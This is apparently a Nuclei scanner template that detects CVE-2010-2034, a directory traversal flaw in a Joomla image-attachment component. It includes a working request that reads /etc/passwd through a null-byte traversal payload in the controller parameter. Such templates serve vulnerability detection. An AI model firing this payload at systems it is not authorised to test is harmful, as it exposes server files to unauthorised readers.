id: CVE-2010-2034

info:
  name: Joomla! Component Percha Image Attach 1.1 - Directory Traversal
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Percha Image Attach (com_perchaimageattach) component 1.1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files from the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/34003
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2034
    - http://packetstormsecurity.org/1005-exploits/joomlaperchaia-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2034
    cwe-id: CWE-22
    epss-score: 0.01646
    epss-percentile: 0.82227
    cpe: cpe:2.3:a:percha:com_perchaimageattach:1.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: percha
    product: com_perchaimageattach
  tags: cve2010,cve,edb,packetstorm,joomla,lfi,percha,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_perchaimageattach&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204218ebcbc44dbd1f1cbaa73e82aca49303d12a15a330e73c1a8daaa0debf5ce4022100fd8a6e96907c8926f068bf5b38220a8ce5901ec65177769a5d325cf8aa598002:922c64590222798bb761d5b6d8e72950